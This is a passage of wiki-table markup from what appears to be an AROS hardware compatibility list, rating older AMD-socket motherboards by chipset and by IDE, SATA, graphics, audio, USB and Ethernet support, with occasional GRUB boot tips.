| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;RTL8139C 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ECS N2U400-A
| &lt;!--Chipset--&gt;nForce2 Ultra 400 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}} 
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{no|Cmedia 9379A AC97}} 
| &lt;!--USB--&gt;{{yes|usb2.0}}
| &lt;!--Ethernet--&gt;{{no|VIA VT6103L}} 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA7N400L
| &lt;!--Chipset--&gt;nForce2 Ultra 400 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;1 AGP 8x slot
| &lt;!--Audio--&gt;{{yes|AC97 ALC650}}
| &lt;!--USB--&gt;2 USB2.0 
| &lt;!--Ethernet--&gt;RTL8100C
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;[http://www.gigabyte.lv/products/page/mb/ga-8siml Gigabyte 8SIML] 
| &lt;!--Chipset--&gt;SIS 650
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|VESA}} 
| &lt;!--Audio--&gt;{{yes|AC'97}}
| &lt;!--USB--&gt;{{maybe|working}}
| &lt;!--Ethernet--&gt;{{no|Realtek RTL8100L LAN}} 
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Matsonic [http://www.elhvb.com/mobokive/archive/matsonic/manual/index.html Manuals] MS83708E
| &lt;!--Chipset--&gt;SIS730 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|SiS 5513}} 
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{maybe|sis 305 no support use VESA}} 
| &lt;!--Audio--&gt;{{no|sis7018}} 
| &lt;!--USB--&gt;{{no|SiS 7001 USB 1.1 only}} 
| &lt;!--Ethernet--&gt;{{yes|SIS900}} 
| &lt;!--Opinion--&gt;little support 
|-
| &lt;!--Name--&gt;[http://h10025.www1.hp.com/ewfrf/wc/document?docname=bph07585&amp;lc=en&amp;dlc=en&amp;cc=us&amp;dest_page=softwareCategory&amp;os=228&amp;tool=softwareCategory&amp;query=Pavilion%20742n&amp;product=89232 MSI MS-6367 HP 722n 742n (Mambo) (2001/2)] 
| &lt;!--Chipset--&gt;Nvidia nforce 220D (2001/2) 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;GeForce2 AGP works 2D nouveau only 
| &lt;!--Audio--&gt;{{Maybe|AC97 ADI 1885 no volume control on Units 0-3}}
| &lt;!--USB--&gt;{{Yes|4 USB1.1 ports AMD based - front 2 ports iffy}}
| &lt;!--Ethernet--&gt;{{No|nForce}}
| &lt;!--Opinion--&gt;Tested 20th Aug 2012 NB 
|-
| &lt;!--Name--&gt;MSI K7N2 [http://us.msi.com/index.php?func=proddesc&amp;maincat_no=1&amp;prod_no=546/ Delta ILSR] Delta-L 
| &lt;!--Chipset--&gt;nForce2 (2002/3) 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|Primary &amp; Secondary ports}} IDE Tertiary port (RAID) 
| &lt;!--SATA--&gt;2 ports (RAID) 
| &lt;!--Gfx--&gt;{{yes|when fitted with an agp video card}} 
| &lt;!--Audio--&gt;{{yes|ac97 ALC650}} 
| &lt;!--USB--&gt;{{yes}}
| &lt;!--Ethernet--&gt;{{yes|rtl8201BL - nforce}} 
| &lt;!--Opinion--&gt;runs AROS well. Tested with Icaros 1.2.3
|-
| &lt;!--Name--&gt;MSI K7N2 Delta2-LSR Platinum  
| &lt;!--Chipset--&gt;nForce2 (2002/3) 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|Primary &amp; Secondary ports}} IDE Tertiary port (RAID) 
| &lt;!--SATA--&gt;2 ports (RAID) 
| &lt;!--Gfx--&gt;{{yes|when fitted with an agp video card}} 
| &lt;!--Audio--&gt;{{No|ac97 ALC655}} 
| &lt;!--USB--&gt;{{yes}}
| &lt;!--Ethernet--&gt;{{yes|rtl8201BL - nforce}} 
| &lt;!--Opinion--&gt;runs AROS well. Tested with Icaros 1.2.3
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;[http://www.sharkyextreme.com/hardware/motherboards/article.php/2204281/Soltek-SL-75MRN-L-nForce2-Motherboard-Review.htm Soltek 75FRN-L] 
| &lt;!--Chipset--&gt;nForce2 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|2 ports}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;AGP slot 
| &lt;!--Audio--&gt;{{yes|ALC650}} 
| &lt;!--USB--&gt;{{yes|2 usb2.0}}
| &lt;!--Ethernet--&gt;{{yes|Realtek RTL8201BL}} 
| &lt;!--Opinion--&gt;good support 
|-
| &lt;!--Name--&gt;[http://www.3dvelocity.com/reviews/mach4nf2ultra/mach4.htm XFX Pine Mach4 nForce2 Ultra 400] 
| &lt;!--Chipset--&gt;nForce2
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|3 ports}}
| &lt;!--SATA--&gt;{{maybe|2 ports VIA VT6240}}
| &lt;!--Gfx--&gt;1 AGP 8x slot 
| &lt;!--Audio--&gt;{{yes|ALC650}}
| &lt;!--USB--&gt;{{yes|2 USB2.0}}
| &lt;!--Ethernet--&gt;{{yes|RTL8201BL}}
| &lt;!--Opinion--&gt;some support 
|-
| &lt;!--Name--&gt;ASUS A7V266 
| &lt;!--Chipset--&gt;via KT266A + 8233 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{no|issues}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;1 AGP slot 
| &lt;!--Audio--&gt;AC97 with AD1980 codec 
| &lt;!--USB--&gt;via 8233 
| &lt;!--Ethernet--&gt;VIA VT6103 
| &lt;!--Opinion--&gt;2002 issues with booting 
|-
| &lt;!--Name--&gt;Asus A7V8X-X
| &lt;!--Chipset--&gt;VIA KT400 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{unk| }}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{yes|agp}}
| &lt;!--Audio--&gt;{{unk|AC97 with ADI AD1980 codec}}
| &lt;!--USB--&gt;{{unk|VIA 8235}}
| &lt;!--Ethernet--&gt;{{unk|Realtek 10/100}}
| &lt;!--Opinion--&gt;2003 not booting for Socket A for AMD Barton/Thoroughbred/Athlon XP/Athlon/Duron 2.25+ GHz CPU - 3 x DDR DIMM Sockets Max. 3 GB - 
|-
|}


=====Socket 754 (2004/5)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Abit NF8-V2 
| &lt;!--Chipset--&gt;nForce3 250GB (2004/5)
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|2 ports}}
| &lt;!--SATA--&gt;{{maybe|2 ports}} 
| &lt;!--Gfx--&gt;1 AGP slot x8
| &lt;!--Audio--&gt;ALC658 ac97
| &lt;!--USB--&gt;{{yes|2 USB2.0}} 
| &lt;!--Ethernet--&gt;{{no|RTL8201C}}
| &lt;!--Opinion--&gt;a little support but no Firewire VIA VT6306
|-
| &lt;!--Name--&gt;Biostar CK8 K8HNA Pro 
| &lt;!--Chipset--&gt;nforce3 150 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;VT6420 thru ide legacy only 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{no|AC97 ALC655}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek RTL8110S 
| &lt;!--Opinion--&gt;Firewire VT6307 no 
|-
| &lt;!--Name--&gt;[http://www.extremeoverclocking.com/reviews/motherboards/Chaintech_ZNF3-150_3.html Chaintech ZNF3-150 Zenith] 
| &lt;!--Chipset--&gt;nforce3 150
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;2 ports 
| &lt;!--SATA--&gt;{{maybe|Sli3114 SATA via IDE emul}}
| &lt;!--Gfx--&gt;1 AGP slot 
| &lt;!--Audio--&gt;{{no|VIA Envy24PT (VT1720) + VT1616}}
| &lt;!--USB--&gt;{{Maybe|2 USB2.0}}
| &lt;!--Ethernet--&gt;{{no|Broadcom GbE 5788}}
| &lt;!--Opinion--&gt;very little support needs PCI cards but no Firewire VIA VT6306
|-
| &lt;!--Name--&gt;DFI Lanparty UT nF3 250GB 
| &lt;!--Chipset--&gt;nForce3 250gb
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;2 ports 
| &lt;!--SATA--&gt;{{maybe|2 ports nForce3 and 2 Marvell SATA PHY}} 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{yes|AC97 ALC850}} 
| &lt;!--USB--&gt;{{Maybe|2 USB2.0}} 
| &lt;!--Ethernet--&gt;CK8S - Winfast NF3 250K8AA works and Marvell 88E1111 does not work
| &lt;!--Opinion--&gt;2005 some support but no Firewire VIA VT6307
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Gigabyte GA-K8N
| &lt;!--Chipset--&gt;NVIDIA nForce3 150
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;Realtek ALC658 AC97 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek RTL8100C
| &lt;!--Opinion--&gt;Firewire TI43AB23 no 
|-
| &lt;!--Name--&gt;Gigabyte K8NNXP
| &lt;!--Chipset--&gt;nForce3 150
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;Sata sil3512 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC658 AC97 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;RTl8110S 
| &lt;!--Opinion--&gt;Firewire TI STB82AA2 no 
|-
| &lt;!--Name--&gt;Gigabyte GA-K8NSNXP 
| &lt;!--Chipset--&gt;nForce3 250GB
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;SiI 3512 CT128 Sata Sil3515
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC850 AC97 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Marvel 88E8001}} 
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;MSI K8N Neo-FIS2R 
| &lt;!--Chipset--&gt;nVIDIA NF3-250Gb 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;Realtek 7.1 AC'97 ALC850 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Marvell 88E1111}} 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;[http://techreport.com/articles.x/5748/1 Shuttle AN50R] 
| &lt;!--Chipset--&gt;nF3-150
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;Sil 3112 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC650 AC97 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Nvidia nF3 (10/100) Intel 82540EM Gigabit 
| &lt;!--Opinion--&gt;Firewire VT6307 no 
|-
| &lt;!--Name--&gt; Foxconn WinFast K8S755A
| &lt;!--Chipset--&gt;SiS755 + SiS964 (DDR333) 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt; {{yes|AC97}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt; {{yes|RTL8169}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}

=====Socket 939 (2005)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Asus A8N-LA GeForce 6150 LE 
| &lt;!--Chipset--&gt;Geforce 6150 (MCP51) + nForce 430 (PC-3200)
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|two ATA 133}} 
| &lt;!--SATA--&gt;{{maybe|four 3.0GB/s SATAII ports}} 
| &lt;!--Gfx--&gt;built in or PCI-E x16 
| &lt;!--Audio--&gt;Realtek ALC883 HD Audio 
| &lt;!--USB--&gt;6 USB2.0 
| &lt;!--Ethernet--&gt;Realtek RTL 8201CL 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus A8N-SLI Premium 
| &lt;!--Chipset--&gt;NVidia 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{Yes|PCIe slot}}
| &lt;!--Audio--&gt;{{Yes|AC97}}
| &lt;!--USB--&gt;{{Maybe}}
| &lt;!--Ethernet--&gt;{{Yes|nForce LAN but not Marvell}} 
| &lt;!--Opinion--&gt;Works well 
|-
| &lt;!--Name--&gt;DFI nF4 Ultra-D LanParty - Diamond Flower International sold to BenQ group 2010 
| &lt;!--Chipset--&gt;nF4 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;2 ports 
| &lt;!--SATA--&gt;4 ports SATA 2 
| &lt;!--Gfx--&gt;2 PCIe x16 slots  
| &lt;!--Audio--&gt;AC97 with ALC850 codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Dual Gigabit Ethernet, PCIe by Vitesse VSC8201 PHY nee Cicada 8201, PCI by Marvel 88E8001
| &lt;!--Opinion--&gt;2006 64bit - Four 184-pin DDR Dual-Channel Slots - 1 pci on Ultra, 2 pci on sli, 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Asus A8V E SE 
| &lt;!--Chipset--&gt;VIA K8T890 +VT8237R CHIPSET ATX AMD Motherboard with Athlon 64 X2 / Athlon 64 FX / Athlon 64 
| &lt;!--ACPI--&gt;{{N/A}}
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{N/A}}
| &lt;!--Audio--&gt;{{Maybe}} AC97 driver using Realtek ALC850 codec 
| &lt;!--USB--&gt;{{Yes}} USB 2.0 only 
| &lt;!--Ethernet--&gt;{{No}} Marvell 88E8053 
| &lt;!--Opinion--&gt;Good base but needs additional PCI cards added for better support 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ASUS A8V Deluxe (2004) 
| &lt;!--Chipset--&gt;VIA K8T800 Pro (DDR400)
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;Promise 20378 2 ports 
| &lt;!--SATA--&gt;2 SATA2 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{no|VIA VT8233A 8235 8237 AC97}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|Marvell 88E8001 Gigabit}}
| &lt;!--Opinion--&gt;needs extra PCI cards
|-
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;AsRock 939Dual-SATA2 
| &lt;!--Chipset--&gt;Ali Uli M1695 PCIe with M1567 AGP 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;2 ports 
| &lt;!--SATA--&gt;1 Sata with JMicron JMB360 chip 
| &lt;!--Gfx--&gt;1 pci-e and 1 agp 
| &lt;!--Audio--&gt;AC97 with ALC850 codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek RTL8201CL PHY ULi 10/100 
| &lt;!--Opinion--&gt;64bit pci-e and agp combo on board - 4 ddr slots - 
|}


=====Socket AM2 (2006/8) and AM2+ (2007-2010) =====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-M61PME-S2 (rev. 2.x) 
| &lt;!--Chipset--&gt;NVIDIA® GeForce 6100 / nForce 430 chipset
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|VESA 2d for vga}}
| &lt;!--Audio--&gt;{{yes|HDAudio Realtek ALC662 Audio Codec}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus M2N61-AR mini itx 
| &lt;!--Chipset--&gt;NVIDIA nForce 430
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 
| &lt;!--SATA--&gt;2 
| &lt;!--Gfx--&gt;GeForce 6150SE via vga or 1 pci-e slot 
| &lt;!--Audio--&gt;HD Audio with codec 
| &lt;!--USB--&gt;Nvidia
| &lt;!--Ethernet--&gt;Nvidia 
| &lt;!--Opinion--&gt;2006 32bit - 1 pci - 2 ddr2 dimm slots non-eec - 
|-
| &lt;!--Name--&gt;asus m2n68-am se2
| &lt;!--Chipset--&gt;nvidia 630a 630/a MCP68SE 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 ports 
| &lt;!--SATA--&gt;2 ports MCP61 chipset is SATA over IDE, not SATA over AHCI and reports subsystem as 0x1 IDE, not 0x6 SATA 
| &lt;!--Gfx--&gt;{{Yes|nvidia 7025 2d and 3d thru vga}}
| &lt;!--Audio--&gt;{{Yes|hd audio with realtek alc662 codec}}
| &lt;!--USB--&gt;{{Yes| }}
| &lt;!--Ethernet--&gt;{{Yes|nForce chipset RTL 8201CP}}
| &lt;!--Opinion--&gt;2007 64bit Phenom IIX2, Athlon 64 LE X2, Sempron, and Phenom FX processors - ddr2 667Mhz ram max 4Gb - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-MA770-UD3 (rev. 1.0)
| &lt;!--Chipset--&gt;AMD 770 with SB700 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes| }}
| &lt;!--SATA--&gt;{{yes| }}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{yes|ALC888 codec }}
| &lt;!--USB--&gt;{{yes|USB2}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 8111C later 8111D}}
| &lt;!--Opinion--&gt;Good support for AM2+ / AM2 with 4 ddr2 ram - 4 x PCI Express x1, 2 x PCI slots - firewire T.I. TSB43AB23 chip no support - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus M3A32-MVP Deluxe
| &lt;!--Chipset--&gt;AMD 790FX RD790 + SB600 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{No|Marvell 88SE6121 SATA II}} 
| &lt;!--Gfx--&gt;pci-e 1.1 support 
| &lt;!--Audio--&gt;{{No|HD Audio ADI® AD1988}} 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Marvell 88E8056}} 
| &lt;!--Opinion--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;ASROCK N68-S N68C-S
| &lt;!--Chipset--&gt;AMD based nForce 630a 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{yes|slimline DVD drive works}}
| &lt;!--Gfx--&gt;{{maybe|GF 7025 use vesa}}
| &lt;!--Audio--&gt;{{yes|HDAudio for VIA 1708S VT1705}} 
| &lt;!--USB--&gt;{{Maybe|echi usb 2.0}}
| &lt;!--Ethernet--&gt;{{no|RTL8201EL / 8201CL - nforce}} 
| &lt;!--Opinion--&gt;2008 unbuffered 1066Mhz ddr2 ram - N68C-S may need noacpi added to grub boot line to disable pci temporarily to run as it cannot get to [PCI] Everything OK - 
|-
| &lt;!--Name--&gt;Asus M2N68-AM Plus 
| &lt;!--Chipset--&gt;Athlon 64, Sempron, Athlon 64 X2, Athlon 64 FX with nvidia 630a 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;no vga, pci-e slot only 
| &lt;!--Audio--&gt;{{yes|HD Audio with ALC662 codec}} 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|RTL8211CL Gigabit LAN}} 
| &lt;!--Opinion--&gt;adding &quot;noacpi noapic noioapic&quot; to the GRUB options - Dual channel DDR2 1066, 800, 667 MHz  - 
|-
| &lt;!--Name--&gt;Gigabyte GA-M68M-S2 (1.0) S2P (2.3) S2L GA-M68SM-S2 (1.x) 
| &lt;!--Chipset--&gt;nForce 630a chipset
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;NVIDIA® GeForce 7025,  vga (s2 and s2p), dvi (s2l) 
| &lt;!--Audio--&gt;ALC883 (S2), ALC888B (S2P), ALC662 (S2L), 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;RTL 8201CL (S2), 8211CL (S2P), 8211BL (S2L), 
| &lt;!--Opinion--&gt;2008 64bit possible with AMD AM2+ CPU on AM2 motherboard, the system bus speed will downgrade from HT3.0(5200MHz) to HT1.0(2000 MT/s) spec 
|-
| &lt;!--Name--&gt;ASUS M2N68-VM 
| &lt;!--Chipset--&gt;nForce 630a (MCP68PVNT) 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Nvidia GeForce ® 7050PV hdmi, dvi and vga 
| &lt;!--Audio--&gt;HD audio VIA 1708B codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;RTL 8211C 
| &lt;!--Opinion--&gt;2008 64bit - ddr2 800Mhz 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
